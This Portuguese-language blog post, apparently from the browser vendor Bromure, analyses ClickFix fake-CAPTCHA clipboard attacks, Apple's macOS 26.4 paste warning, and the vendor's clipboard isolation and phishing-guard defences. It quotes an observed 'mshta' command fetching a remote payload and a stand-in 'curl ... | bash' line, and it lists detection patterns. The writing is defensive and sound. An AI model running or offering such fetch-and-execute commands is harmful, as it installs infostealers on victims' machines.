A área de transferência é o exploit — onde o ClickFix deixa todo defensor
Um CAPTCHA falso escreve uma linha de PowerShell na área de transferência. O usuário pressiona Win+R e cola. Sem escape de sandbox, sem zero-day, sem binário assinado necessário — o humano é o exploit. Eis o que entregamos hoje contra isso, onde ainda estão as lacunas e o que a Apple acertou e errou no macOS 26.4.
Uma página finge ser um CAPTCHA. Enquanto o usuário lê as instruções de "Não sou um robô", a página escreve silenciosamente um comando PowerShell na área de transferência. Em seguida, pede ao usuário para pressionar Win+R e colar "para verificar". O humano é o exploit. Isso é ClickFix, e é genuinamente difícil de parar — não porque seja engenhoso, mas porque contorna quase toda defesa que um navegador foi feito para oferecer.
Em 9 de abril de 2026, a Rapid7 observou um usuário visitar o que parecia ser uma página de download do app desktop Claude da Anthropic. A página pediu a ele para "verificar que era humano". Quando clicou no botão, a página colocou a seguinte string na área de transferência:
mshta https://download-version.1-5-8.com/claude.msixbundle
Depois disse a ele para pressionar Win+R e colar. O usuário fez isso.
O mshta.exe
é um binário do Windows que executa HTML Applications, entregue com
toda versão do sistema operacional há mais de vinte anos. O que o
mshta executou foi uma cadeia que terminou com um infostealer rodando
na máquina. Nenhum bug de navegador foi tocado. Nenhuma verificação
de assinatura de código foi contornada. Nenhum prompt de elevação
apareceu. O navegador fez exatamente o que o usuário pediu; o sistema
operacional fez exatamente o que o usuário pediu. O atacante apenas
pediu através de ambos, usando a área de transferência como fio.
Quatro dias depois, a Booking.com divulgou que sua rede de hotéis parceiros havia sido atingida pela mesma técnica — rastreada pela Microsoft como Storm-1865 — com uma carga final de XWorm e VenomRAT. A própria Microsoft, em uma análise anterior, atribuiu quarenta e sete por cento das intrusões de acesso inicial em 2025 a esse único padrão. Os parceiros da Booking.com não clicaram em um anexo malicioso. Não baixaram um executável. Pressionaram Win+R e colaram algo. É só isso que é preciso agora.
Por que o ClickFix funciona.
A cadeia de ataque cabe em um guardanapo.
Toda defesa a que as pessoas costumam recorrer já perdeu no momento
em que a carga é executada. O filtro de reputação de URL? O atacante
registrou download-version.1-5-8.com ontem. O sandbox do navegador?
A carga não tenta escapar do navegador — apenas pede ao humano para
carregá-la. A verificação de assinatura de código no executável? O
mshta.exe é um binário Microsoft assinado. O prompt de elevação? O
mshta não precisa de elevação para baixar e executar um HTA. O
agente de endpoint? Ele vê que o processo pai é o explorer.exe
iniciado pelo pressionar de tecla de um usuário, o que é
indistinguível do usuário rodando literalmente qualquer outra coisa
em seu computador.
O ClickFix pega a única parte do computador que a indústria tem sido incapaz de corrigir — a pessoa sentada em frente a ele — e a transforma no palco de execução. É por isso que está em toda parte agora. A campanha Storm-1865 usou uma isca com a marca Booking.com. O caso da Rapid7 usou uma isca de instalador do Claude. Os sequestros de contas de criadores no Facebook vêm usando a mesma técnica há meses. A isca muda toda semana; o mecanismo não.
O mesmo ataque, mirado no macOS.
A captura da Rapid7, a violação da Booking.com e os sequestros de criadores no Facebook atingiram todos hosts Windows. Esse é um viés real nos dados desta semana — a indústria do ClickFix é, neste momento, majoritariamente uma indústria Windows —, mas é uma propriedade do mercado, não uma propriedade do ataque. O ClickFix é uma técnica de área de transferência e teclado. Não se importa com qual sistema operacional o teclado está conectado.
No macOS, as substituições são mecânicas. Win+R vira Cmd+Space e
Terminal — ou, mais recentemente, Script Editor. A linha do
mshta vira curl -s https://evil.example | bash, ou um one-liner
de osascript -e, ou um AppleScript do shell script codificado em
base64. O CAPTCHA falso continua o CAPTCHA falso; a escrita na área
de transferência continua a escrita na área de transferência; o
script de "verifique que é humano" da página muda duas frases. A
Bitdefender documentou iscas de ClickFix mirando Macs entregando o
Atomic Stealer no início deste ano,
e — como chegaremos em um momento — o fato de a Apple ter sentido
necessidade de entregar uma resposta no nível da plataforma no macOS
26.4 é o sinal mais claro possível de que a variante Mac não é
hipotética.
Para a Bromure, este é o caso estrutural. A Bromure roda no macOS. Cada usuário para quem entregamos é um alvo de ClickFix no macOS antes de ser qualquer outra coisa. Quando falamos na próxima seção sobre isolamento de área de transferência e phishing-guard, não estamos falando de uma curiosidade Windows — estamos falando de uma técnica que já aterrissou no sistema operacional que nossos usuários de fato usam, e que a plataforma que eles escolheram está tentando, imperfeitamente, corrigir.
A postura honesta da Bromure contra o ClickFix.
Gostaríamos de dizer a você que a Bromure impede o ClickFix. Não impede. O que a Bromure faz é pegar um problema que antes não tinha dono — a área de transferência como fio controlado pelo atacante entre o navegador e o host — e colocá-lo atrás de duas camadas em que estamos trabalhando ativamente, uma arquitetural e uma baseada em plugin. Nenhuma das duas é uma resposta finalizada. Ambas são melhores que nada. Eis exatamente onde estão hoje.
Camada um — isolamento de área de transferência como opção, não padrão.
A Bromure executa cada aba dentro de sua própria VM Linux
descartável. A página roda ali; o navegador roda ali; a escrita de
navigator.clipboard do CAPTCHA falso acontece ali. A questão é a
que a área de transferência da VM está conectada. Por padrão, hoje,
ela está conectada à área de transferência do host macOS — porque
na maior parte do tempo a área de transferência é como você copia
uma URL do navegador para o Messages, ou cola uma senha do 1Password
em um formulário de login. Quebrar isso por padrão tornaria o
navegador hostil de usar.
O modo de isolamento total inverte esse padrão. No isolamento total,
a ponte de área de transferência entre a VM e o host macOS é
cortada. Uma página dentro da aba ainda pode escrever na área de
transferência da sua própria VM — e o usuário ainda pode colar
dentro do terminal Linux dessa VM se realmente quiser — mas a área
de transferência do host em que o usuário cola no Win+R, ou no
Terminal.app, ou no Spotlight, é uma área de transferência
diferente. A string mshta https://... da página nunca chega ao
buffer de colagem do host. A cadeia do ClickFix é truncada na etapa 2.
A leitura honesta sobre o isolamento total: é uma resposta arquitetural limpa ao ClickFix para os usuários que a querem, e é um imposto de usabilidade que não estamos dispostos a entregar como padrão para todo mundo. A maioria das pessoas copia e cola dezenas de vezes por dia entre o navegador e suas anotações, ou o mensageiro, ou um documento em que está trabalhando. Tornar esse caminho "está desligado, vá procurar a configuração" para recuperar copiar/colar significaria que a maior parte dos usuários o religaria em uma semana — e então teríamos ensinado a eles o valor do compartilhamento de área de transferência e o custo da segurança em um só movimento. Não é essa a lição que queremos que aprendam.
Então o isolamento total existe para o usuário que o quer, documentado, e é a coisa mais forte que a arquitetura tem a dizer sobre o ClickFix. Não é a coisa que a maior parte dos usuários usará.
Camada dois — o plugin antiphishing, hoje e amanhã.
Para a postura padrão — ponte de área de transferência ligada — entregamos uma segunda linha de defesa no componente antiphishing da Bromure, que chamamos de phishing-guard. Vale a pena descrever o que ele faz, porque a maior parte da indústria não faz isso e porque achamos que é o começo da resposta certa, não o fim.
O phishing-guard intercepta os três pontos de entrada de escrita na
área de transferência dentro do Chromium da VM da aba: as APIs
modernas navigator.clipboard.writeText e clipboard.write, e o
caminho legado document.execCommand('copy') que páginas mais
antigas ainda usam. Sempre que uma página escreve texto na área de
transferência, o phishing-guard chega a vê-lo antes da área de
transferência do host.
Ele então executa dois testes em paralelo. Primeiro, compara o
conteúdo da área de transferência com um conjunto de expressões
regulares de comando de shell — mantemos dez delas, ajustadas nas
cargas que de fato vemos em circulação: invocações de powershell,
padrões mshta https://, pipes curl ... | bash, blobs de
PowerShell codificados em base64, certutil -urlcache, truques com
rundll32, e mais alguns. Segundo, varre a página renderizada
procurando padrões de instrução que dizem ao usuário para executar
o conteúdo da área de transferência — treze deles, multilíngues —
coisas como "Pressione Win+R", "abra o Terminal", "cole para
verificar que é humano", em inglês, francês, espanhol, alemão,
português, italiano, holandês, polonês, japonês, coreano, chinês,
árabe e russo.
Quando ambos disparam — uma escrita de área de transferência que parece um comando de shell, em uma página cujo texto está orientando o usuário a colá-la — o phishing-guard envia a carga candidata para um veredito de modelo de linguagem e apresenta um alerta no navegador se o veredito for hostil.
Duas limitações honestas mesmo quando isso funciona como projetado: a chamada ao LLM tem um custo de latência, então um usuário rápido pode colar antes de o veredito voltar; e regex-mais-texto-da-página captura a forma do ClickFix mas não toda variante (uma página que instrui o usuário verbalmente via um vídeo embutido em vez de em texto escaparia à varredura de padrões hoje). Estamos trabalhando ativamente em fortalecer o ponto de bloqueio e encolher a janela de detecção. São problemas de engenharia com respostas conhecidas; só ainda não terminamos.
O que a Apple entregou no macOS 26.4 — e onde isso fica aquém.
Em 24 de março de 2026, a Apple entregou a mesma forma de ideia no nível do sistema operacional. O macOS 26.4 adicionou um diálogo de aviso de colagem ao Terminal.app de primeira parte: quando o usuário cola em uma janela do Terminal, o macOS inspeciona a área de transferência e, sob certas condições, exibe um diálogo bloqueante que diz "Possível malware. Colagem bloqueada. Seu Mac não foi prejudicado. Golpistas costumam incentivar a colagem de texto no Terminal para tentar prejudicar seu Mac ou comprometer sua privacidade." Este é um bom passo, e ficamos felizes que a Apple o tenha dado. Também achamos que vale a pena ser preciso sobre o que é e o que não é.
Três limitações que vale a pena nomear. A primeira é que o aviso vive dentro do Terminal.app, não dentro da camada de pasteboard do macOS. iTerm2, Alacritty, Warp, Kitty, e todos os outros terminais que a comunidade de desenvolvedores Mac de fato usa não herdam a verificação. Isso não é um descuido da Apple — é uma escolha de escopo — mas significa que a base de usuários com maior probabilidade de colar um comando de shell aleatório, engenheiros com sua própria preferência de terminal, é exatamente a base de usuários que essa funcionalidade não protege.
A segunda é o Script Editor. Em 8 de abril de 2026, a
Jamf Threat Labs relatou
que os operadores do Atomic Stealer já haviam mudado seu script de
engenharia social do ClickFix de
"abra o Terminal e cole isto" para
"abra o Script Editor e cole isto", porque o Script Editor executa
AppleScript e comandos de shell via do shell script e não é
coberto pelo aviso do 26.4. Thijs Xhaflaire, da Jamf, colocou isso
da forma mais direta possível: "ao deslocar a execução do Terminal
para o Script Editor, o atacante preserva um mecanismo de entrega
familiar enquanto silenciosamente muda como e onde o comando de
fato é executado." A indústria levou duas semanas para contornar a
mitigação. Isso não é uma crítica à Apple; é uma crítica à forma do
problema. Não dá para resolver o ClickFix consertando um único
destino.
A terceira limitação é a maior e a menos discutida: o macOS 26.4 protege usuários de Mac. A indústria do ClickFix de verdade — a estrutura de afiliados Storm-1865 por trás da violação da Booking.com, a campanha do instalador falso do Claude, e a maior parte do número de quarenta e sete por cento de acesso inicial de 2025 — entrega cargas Windows, usa Win+R, invoca mshta e PowerShell, e aterrissa em hosts Windows. A Apple pode proteger o Terminal.app perfeitamente e não mover nenhuma agulha nessa frota. Para as autópsias de ClickFix que você vai ler neste ano, o sistema operacional com o aviso de colagem geralmente não é aquele em que a vítima estava rodando.
O que a Apple acertou
Tratar área-de-transferência-para-comando-de-shell como um caminho de colagem relevante para segurança, e inspecioná-lo na camada do SO onde todo app do sistema ganha o benefício. Esse enquadramento está correto. O prompt único, o diálogo com marca, a redação "seu Mac não foi prejudicado" — tudo bem feito. Este é o primeiro reconhecimento ao nível da plataforma de que a área de transferência é um canal de ameaça.
Por que não é a resposta toda
A verificação está no Terminal.app, não no subsistema de pasteboard. É de disparo único. O Script Editor já é um bypass. E a população de vítimas para a qual a funcionalidade foi projetada é uma fração pequena da população que o ClickFix de fato mira. A Apple entregou uma boa funcionalidade. Não entregou uma solução, e não achamos que a Apple alegue ter entregado.
O que o navegador está unicamente posicionado para fazer
O navegador vê a página que está escrevendo na área de transferência e o texto que a página está usando para orientar o usuário. O sistema operacional só vê o fim da cadeia. Dois sinais separados — o local da escrita na área de transferência e o texto de engenharia social da página — combinam-se em um veredito ao qual o SO sozinho não tem acesso. É esse o argumento para o navegador fazer parte desse trabalho.
O que o navegador não consegue alcançar
Quando o usuário cola em um Terminal real, em uma caixa Executar real, em um Script Editor real, a carga cruzou para fora de qualquer coisa que o navegador possa ver. O host tem que carregar sua parte. O macOS 26.4 é o host carregando sua parte, nos lugares que escolheu cobrir. O Windows tem que fazer o mesmo. Este é um problema que precisa das duas pontas.
A tese que estamos dispostos a defender.
Por vinte anos a indústria respondeu a ataques de engenharia social com cartazes. "Não clique em links suspeitos." "Fique atento a tentativas de phishing." "Pense antes de colar." Quando um usuário cai no ClickFix, a resposta pública costuma ser alguma variação de o usuário deveria ter notado — artigos explicando como identificar o CAPTCHA falso, módulos de treinamento, testes anuais de conscientização de segurança, culpa educadamente deslocada para baixo. A suposição por trás disso tudo é que phishing é, na raiz, um problema humano, e que a camada técnica fez o que pôde.
Não acreditamos nisso. Acreditamos que o ClickFix, e toda outra técnica de engenharia social de área de transferência e teclado, é um problema técnico que a camada técnica consistentemente se recusou a possuir. A área de transferência é um barramento de mensagens não autenticado entre qualquer página web e qualquer outro app no sistema operacional. A caixa Executar aceita qualquer string. O Terminal executa o que quer que caia nele. Nenhum desses designs foi auditado contra o atacante que a área de transferência de fato tem agora. Nenhum deles vai se consertar sozinho.
A resposta certa é trabalho — dentro dos navegadores, dentro dos sistemas operacionais, dentro da cooperação de ecossistema — para fazer do caminho área-de-transferência-para-comando-de-shell algo em que a máquina esteja disposta a intervir em nome do usuário. O macOS 26.4 é um passo; o Windows precisa do seu. O phishing-guard é um passo; bloquear rigidamente a escrita na área de transferência, entregar um aviso específico para área de transferência em vez de um indicador de carregamento genérico e reduzir a latência do veredito ao ponto em que ela supere uma colagem rápida — esses são os próximos passos. O modo de isolamento total é um passo; tornar mais fácil conviver com ele no dia a dia é o passo seguinte.
Nada disso é um cartaz. Nada pede ao usuário para reconhecer um CAPTCHA falso mais rápido, ou para "passar o mouse sobre os links", ou para virar um especialista em segurança para abrir uma aba do navegador. Achamos que as pessoas não deveriam ter de virar especialistas em segurança para abrir uma aba do navegador. A tecnologia quebrou isto. A tecnologia deveria consertar isto.
O roadmap da Bromure contra o ClickFix é a forma dessa convicção. O que entregamos hoje é uma defesa parcial com duas alavancas — uma forte que custa usabilidade, e uma mais suave que está ganhando dentes tão rápido quanto conseguimos fazê-los crescer. O que entregaremos no ano que vem será mais afiado. E vamos continuar dizendo o que a funcionalidade faz e o que não faz, em textos como este, porque a alternativa — entregar uma página de marketing limpa com um checkmark ao lado de "ClickFix" — é exatamente o tipo de coisa que levou a indústria a um lugar em que a Storm-1865 pode fazer quarenta e sete por cento do acesso inicial de 2025 parecer fácil.